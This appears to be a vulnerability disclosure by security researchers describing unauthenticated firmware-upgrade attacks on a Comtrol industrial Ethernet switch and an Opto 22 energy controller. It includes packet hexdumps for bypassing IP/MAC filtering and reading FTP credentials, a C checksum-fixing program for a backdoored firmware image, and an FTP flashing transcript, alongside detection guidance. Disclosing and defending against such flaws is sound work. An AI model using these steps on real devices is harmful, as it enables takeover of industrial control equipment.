Contributors: David Barksdale of Exodus Intelligence, Independent Security Researcher Jeremy Brown
These are two vulnerabilities that allow a remote unauthenticated attacker to update firmware. If the device is configured with MAC or IP filtering, the attacker can bypass filtering if they have access to the same network segment as the device.
Comtrol RocketLinx ES8510-XTE
Product Overview
The Comtrol RocketLinx ES8510-XTE is a managed industrial Ethernet switch. It has seven 10/100BASE-TX ports and three additional ports which can be allocated among any of three 10/100BASE-TX ports and three SFP ports. It has two digital-in and two digital-out ports which can be used for alarms or triggering events. It also has an RS-232 console port.
The switch can be managed with a Command Line Interface (CLI) accessible over the console port, SSH, and Telnet; with a web interface; SNMP; and with a Windows program called PortVision DX.
Vulnerability
The CLI, web interface, and SNMP all require authentication, however the PortVision program can carry out certain management tasks without authentication. PortVision sends commands to the switch via UDP packets to port 5010. The switch can be configured to filter packets based on an IP and MAC whitelist to prevent attackers from sending unauthorized commands to the switch. This can be bypassed and an attacker can use the PortVision protocol to upload and flash a backdoored firmware to the switch.
Because the PortVision protocol lacks authentication and can upload and flash firmware files, which also lack cryptographic authentication, an attacker can install a backdoor in the switch. The PortVision protocol is also session-less UDP, allowing an attacker to bypass IP and MAC filtering by sending spoofed packets to the switch.
Comtrol has published firmware version 2.7d which allows users to disable the PortVision service, in earlier versions the service is always available.
PortVision Protocol
PortVision sends requests to network devices using UDP on port 5010, either to the IP broadcast address or unicast to a specific IP. Responses are always sent to the IP broadcast address and the UDP source and destination ports swapped from the request. Both requests and responses have the same format. The data format is a sequence of records having three parts: a 32-bit big-endian type code, a 32-bit big-endian length, and a variable-sized value with the specified length. The type code of the first record in a request is the type of the request and the value of this record is unused. The following records are parameters to the request. The responses usually have a record with an acknowledge type code to match the request, but it is not always the first record in the response. The known type codes are listed below.
PortVision Protocol Record Types
Type Code | Description |
1 | Manufacturer string |
2 | Model string |
3 | MAC address (6 bytes) |
4 | IP address (4 bytes) |
5 | IP netmask (4 bytes) |
6 | IP gateway (4 bytes) |
7 | Discovery request |
8 | Discovery acknowledgement |
11 | IP configuration request |
12 | IP configuration acknowledgement |
21 | Configuration file backup request |
24 | Configuration file restore request |
27 | Configuration file load default request |
25 | Reset to factory defaults acknowledgement |
31 | Firmware upgrade request |
32 | Firmware upgrade acknowledgement |
33 | Firmware upgrade error string |
34 | Version string |
35 | Bootloader upgrade request |
43 | TFTP clear file request (clears /home/Quaaga.conf and /home/firmware.bin) |
44 | Reboot request |
45 | Reset to factory defaults request |
91 | LED signal on request |
92 | LED signal off request |
94 | SFP check request |
111 | Self-test request |
The IP configuration, factory reset, and reboot requests require a MAC address record matching the network device intended to carry out the request.
Disabling Security
The switch can be configured with IP and MAC whitelists. The attacker can discover a whitelisted IP address by sending a PortVision discovery request to the IP broadcast address from every IP address in a subnet looking for responses. The response from the switch is also sent to the IP broadcast address. In order to determine which IP address was in the whitelist, each discover request is sent from a unique UDP source port, the discovery reply is sent back to the same port. The MAC filtering is bypassed by sending packets from the Ethernet broadcast address (FF:FF:FF:FF:FF), which is always allowed through the filter. This can only be done if the attacker is on the same network segment as the switch.
The discovery request has one record of type 7, length 1, and data 1:
The example discovery reply below has the following records:
Manufacturer string: Comtrol
Model string: ES8510-XTE
Discovery acknowledgement: ack
IP address: 10.100.0.5
IP netmask: 255.255.255.0
MAC address: 00:c0:4e:30:01:93
Version string: v2.7c (b1.6.2.12)
Type 9: 00 00 00 00
IP gateway: 10.100.0.1
Type 222: 00 00 00 00
00000010 <span style="color: #ff0000;">00 00 02</span> <span style="color: #008000;">00 00 00 0a</span> <span style="color: #0000ff;">45 53 38 35 31 30 2d 58 54</span> .......E S8510-XT
00000020 <span style="color: #0000ff;">45</span> <span style="color: #ff0000;">00 00 00 08</span> <span style="color: #008000;">00 00 00 03</span> <span style="color: #0000ff;">61 63 6b</span> <span style="color: #ff0000;">00 00 00 04</span> E....... .ack....
00000030 <span style="color: #008000;">00 00 00 04</span> <span style="color: #0000ff;">0a 64 00 05</span> <span style="color: #ff0000;">00 00 00 05</span> <span style="color: #008000;">00 00 00 04</span> .....d.. ........
00000040 <span style="color: #0000ff;">ff ff ff 00</span> <span style="color: #ff0000;">00 00 00 03</span> <span style="color: #008000;">00 00 00 06</span> <span style="color: #0000ff;">00 c0 4e 30</span> ........ ......N0
00000050 <span style="color: #0000ff;">01 93</span> <span style="color: #ff0000;">00 00 00 22</span> <span style="color: #008000;">00 00 00 11</span> <span style="color: #0000ff;">76 32 2e 37 63 20</span> .....".. ..v2.7c
00000060 <span style="color: #0000ff;">28 62 31 2e 36 2e 32 2e 31 32 29</span> <span style="color: #ff0000;">00 00 00 09</span> <span style="color: #008000;">00</span> (b1.6.2. 12).....
00000070 <span style="color: #008000;">00 00 04</span> <span style="color: #0000ff;">00 00 00 00</span> <span style="color: #ff0000;">00 00 00 06</span> <span style="color: #008000;">00 00 00 04</span> <span style="color: #0000ff;">0a</span> ........ ........
00000080 <span style="color: #0000ff;">64 00 01</span> <span style="color: #ff0000;">00 00 00 de</span> <span style="color: #008000;">00 00 00 04</span> <span style="color: #0000ff;">00 00 00 00</span> <span style="color: #aaa;">--</span> d....... .......
Once a whitelisted IP is found, security can be disabled by issuing a factory reset request:
00000010 <span style="color: #008000;">06</span> <span style="color: #0000ff;">00 c0 4e 30 01 93</span>
The IP configuration from the discovery reply above can then be restored by issuing an IP configuration request:
00000010 <span style="color: #008000;">06</span> <span style="color: #0000ff;">00 c0 4e 30 01 93</span> <span style="color: #ff0000;">00 00 00 04</span> <span style="color: #008000;">00 00 00 04</span> <span style="color: #0000ff;">0a</span>
00000020 <span style="color: #0000ff;">64 00 05</span> <span style="color: #ff0000;">00 00 00 05</span> <span style="color: #008000;">00 00 00 04</span> <span style="color: #0000ff;">ff ff ff 00</span> <span style="color: #ff0000;">00</span>
00000030 <span style="color: #ff0000;">00 00 06</span> <span style="color: #008000;">00 00 00 04</span> <span style="color: #0000ff;">0a 64 00 01</span>
If only IP filtering is configured and the attacker already knows the MAC and IP of the switch and an IP address on the whitelist and the attacker can send it packets with a spoofed IP source address, then the firmware update can be carried out from outside the local network segment and without the need for a factory reset.
Backdooring the Firmware
A backdoored firmware image is created by extracting the parts of the 2.7c firmware image—the kernel, the squashfs filesystem, and the trailer—and then modifying the /etc/passwd file to allow the root user to login over SSH, and then recombining the parts and updating the checksum in the trailer.
Firmware Parts
Offset | Size | Description |
0 | 0x100000 | Kernel |
0x100000 | 0x459000 | SquashFS Root |
0x559000 | 0x1000 | Trailer |
The squashfs filesystem can be extracted and re-made using the squashfs-2.2-r2-7z code from Firmware Mod Kit. The only modification made is to give root the password “exodus” and the shell /bin/sh.
The new squashfs filesystem is combined with the original kernel and tailer parts and the checksum in the trailer is updated with the following C program.
#include <endian.h> #include <stdint.h> #include <stdio.h> int main(int argc, char **argv) { FILE *fp = fopen(argv[1], "r+"); if (!fp) { perror("fopen"); return -1; } // sum every little-endian 32-bit word in the file uint32_t checksum = 0; uint32_t buf[1024]; int i; while (1024 == fread(buf, 4, 1024, fp)) { for (i = 0; i < 1024; i++) checksum += le32toh(buf[i]); } // subtract out the last block for (i = 0; i < 1024; i++) checksum -= le32toh(buf[i]); printf("checksum = 0x%08X\n", checksum); // print out the obfuscated product-version string printf("Firmware Version: "); uint8_t *bytes = (uint8_t *)buf; for (i = 791; i < 791 + 34; ++i) { bytes[i] -= 103; printf("%c", bytes[i]); } printf("\n"); // checksum is stored in little endian at offset 283 fseek(fp, -4096 + 283, SEEK_CUR); checksum = htole32(checksum); printf("writing checksum at offset %ld\n", ftell(fp)); fwrite(&checksum, 4, 1, fp); fclose(fp); }
Flashing the Firmware
The backdoored firmware is transferred using TFTP to the destination path
on the switch. Then a PortView request is sent to command the switch to flash the firmware:
And another to reboot the switch:
00000010 <span style="color: #008000;">06</span> <span style="color: #0000ff;">00 c0 4e 30 01 93</span>
Detection Guidance
Exploitation attempts can be detected by monitoring network traffic for unexpected TFTP and PortVision traffic. The PortVision software periodically polls the network with discovery requests, but firmware upgrade requests should be rare and only during planned maintenance.
Opto 22 OPTEMU-SNR-DR2
Product Overview
The Opto 22 OPTEMU-SNR-DR2 is an energy monitoring and control device. It can monitor two KY or KYZ pulsing devices and up to 64 data inputs from Modbus devices over serial or Ethernet. It has four relay outputs for controlling equipment or signaling other energy or building management systems.
The device can be managed over Ethernet using the OptoMMP, PAC Control, FTP, and SNMP protocols.
The latest firmware as of this publication (version 9.2b) is vulnerable.
Vulnerability
The FTP and SNMP protocols both support authentication, however the OptoMMP and PAC Control protocols do not support authentication. The OptoMMP protocol can be used for administrative tasks like modifying IP filtering rules and the credentials used for FTP authentication. The PAC Control protocol is not used in this exploit but also provides a high level of access to the device’s functions.
The device does not use cryptographic authentication to verify new firmware images and will accept a malicious firmware uploaded over FTP. The FTP authentication credentials can be read directly from the device using the OptoMMP protocol, which itself has no authentication. The OptoMMP protocol has a session-less UDP mode, allowing an attacker to bypass IP filtering by sending spoofed packets to the device.
OptoMMP Protocol
The OptoMMP protocol is documented in OptoMMP Protocol Guide. The protocol is based on IEEE 1394 and presents a memory-map which can be read and written by byte addresses. It can be accessed via TCP or UDP on port 2001. The memory addresses relevant to this exploit are listed below.
OptoMMP Security Fields
Address | Size | Description |
0xfffff03a0010 | 0x4 | FTP port |
0xfffff03d0000 | 0x40 | FTP username |
0xfffff03d0040 | 0x40 | FTP password |
0xfffff03a0020 | 0x4 | IP Filter Address |
0xfffff03a0024 | 0x4 | IP Filter Mask |
⋮ | (eight address-mask pairs omitted) | |
0xfffff03a0068 | 0x4 | IP Filter Address |
0xfffff03a006c | 0x4 | IP Filter Mask |
0xfffff0300080 | 0x20 | Device’s part number |
Disabling Security
The device can be configured with IP filtering whitelists and the FTP service can be disabled by setting its port number to zero. A whitelisted IP address can be discovered by sending an OptoMMP read request to the broadcast address from every IP address in a subnet looking for responses. This can only be done if the attacker is on the same network segment as the device.
The following packet hexdump shows the contents of the UDP packets used to discover a whitelisted IP address. The packets are sent to the IP broadcast address 255.255.255.255. The IP source address is different for each packet as it is scanned through a range of addresses. At the UDP layer the packets are sent to port 2001 and the source port is randomly chosen. The transaction label (the six high-order bits in the third byte) is also chosen randomly.
The reply to the read block request is unicast back to the source port and IP address of the request.
00000010 <span style="color: #0000ff;">4f 50 54 4f 45 4d 55 2d 53 4e 52 2d 44 52 32 00</span> OPTOEMU- SNR-DR2.
00000020 <span style="color: #0000ff;">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span> ........ ........
The FTP port is then set to 21 with a write block request to ensure that FTP is enabled. The response is ignored.
00000010 <span style="color: #0000ff;">00 00 00 15</span>
The ten IP filter mask values are all set to 0.0.0.0 with ten write block requests. The responses are ignored.
00000024 <span style="color: #0000ff;">00 00 00 00</span>
00000028 00 00 80 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 2c</span> <span style="color: #008000;">00 04</span> 00 00
00000038 <span style="color: #0000ff;">00 00 00 00</span>
0000003C 00 00 04 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 34</span> <span style="color: #008000;">00 04</span> 00 00
0000004C <span style="color: #0000ff;">00 00 00 00</span>
00000050 00 00 14 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 3c</span> <span style="color: #008000;">00 04</span> 00 00
00000060 <span style="color: #0000ff;">00 00 00 00</span>
00000064 00 00 d8 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 44</span> <span style="color: #008000;">00 04</span> 00 00
00000074 <span style="color: #0000ff;">00 00 00 00</span>
00000078 00 00 c0 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 4c</span> <span style="color: #008000;">00 04</span> 00 00
00000088 <span style="color: #0000ff;">00 00 00 00</span>
0000008C 00 00 90 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 54</span> <span style="color: #008000;">00 04</span> 00 00
0000009C <span style="color: #0000ff;">00 00 00 00</span>
000000A0 00 00 38 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 5c</span> <span style="color: #008000;">00 04</span> 00 00
000000B0 <span style="color: #0000ff;">00 00 00 00</span>
000000B4 00 00 a8 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 64</span> <span style="color: #008000;">00 04</span> 00 00
000000C4 <span style="color: #0000ff;">00 00 00 00</span>
000000C8 00 00 d8 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 6c</span> <span style="color: #008000;">00 04</span> 00 00
000000D8 <span style="color: #0000ff;">00 00 00 00</span>
The FTP username is obtained with a read block request:
In this example the configured FTP username is “admin”:
00000010 <span style="color: #0000ff;">61 64 6d 69 6e 00 00 00 00 00 00 00 00 00 00 00</span> admin... ........
00000020 <span style="color: #0000ff;">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span> ........ ........
00000030 <span style="color: #0000ff;">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span> ........ ........
00000040 <span style="color: #0000ff;">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span> ........ ........
The FTP password is also obtained with a read block request:
In this example the configured FTP password is “exodus”:
00000010 <span style="color: #0000ff;">65 78 6f 64 75 73 00 00 00 00 00 00 00 00 00 00</span> exodus.. ........
00000020 <span style="color: #0000ff;">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span> ........ ........
00000030 <span style="color: #0000ff;">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span> ........ ........
00000040 <span style="color: #0000ff;">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span> ........ ........
At this point the firmware can be upgraded using the FTP server on port 21.
Firmware
The firmware image is a raw image that is stored in flash memory which is mapped into the CPUs address space at
. The firmware has an ANSI CRC16 checksum stored as a big-endian 32-bit number at offset
into the file and the file size is stored as a big-endian 32-bit number at offset
into the file.
Flashing the Firmware
The firmware is uploaded over FTP to the device into the root directory. The command to program the firmware into flash memory is the string “Krn <filename>” uploaded as a file named “commandfile” over FTP. The result of the command can be read back by downloading the “commandfileresponse” file. The following is a transcript from the FTP control connection.
<span style="color: #ff0000;"><strong>USER admin</strong></span>
331 Please specify the password.
<span style="color: #ff0000;"><strong>PASS exodus</strong></span>
230 User logged in, proceed.
<span style="color: #ff0000;"><strong>TYPE i</strong></span>
200 TYPE Command okay.
<span style="color: #ff0000;"><strong>PASV</strong></span>
227 Entering Passive Mode (10,100,0,3,250,245).
<span style="color: #ff0000;"><strong>STOR payload</strong></span>
150 File status okay; about to open data connection.
226 Closing data connection.
<span style="color: #ff0000;"><strong>TYPE i</strong></span>
200 TYPE Command okay.
<span style="color: #ff0000;"><strong>PASV</strong></span>
227 Entering Passive Mode (10,100,0,3,205,91).
<span style="color: #ff0000;"><strong>STOR commandfile</strong></span>
150 File status okay; about to open data connection.
226 Closing data connection.
<span style="color: #ff0000;"><strong>TYPE i</strong></span>
200 TYPE Command okay.
<span style="color: #ff0000;"><strong>PASV</strong></span>
227 Entering Passive Mode (10,100,0,3,159,210).
<span style="color: #ff0000;"><strong>RETR commandfileresponse</strong></span>
150 File status okay; about to open data connection.
226 Closing data connection.
221 Goodbye.
The device automatically reboots after successful programming.
This procedure leaves the networking configuration intact but clears other configuration and programming of the device.
Detection Guidance
Exploitation attempts can be detected by monitoring network traffic for unexpected FTP and OptoMMP traffic. Firmware upgrades should be rare and only during planned maintenance.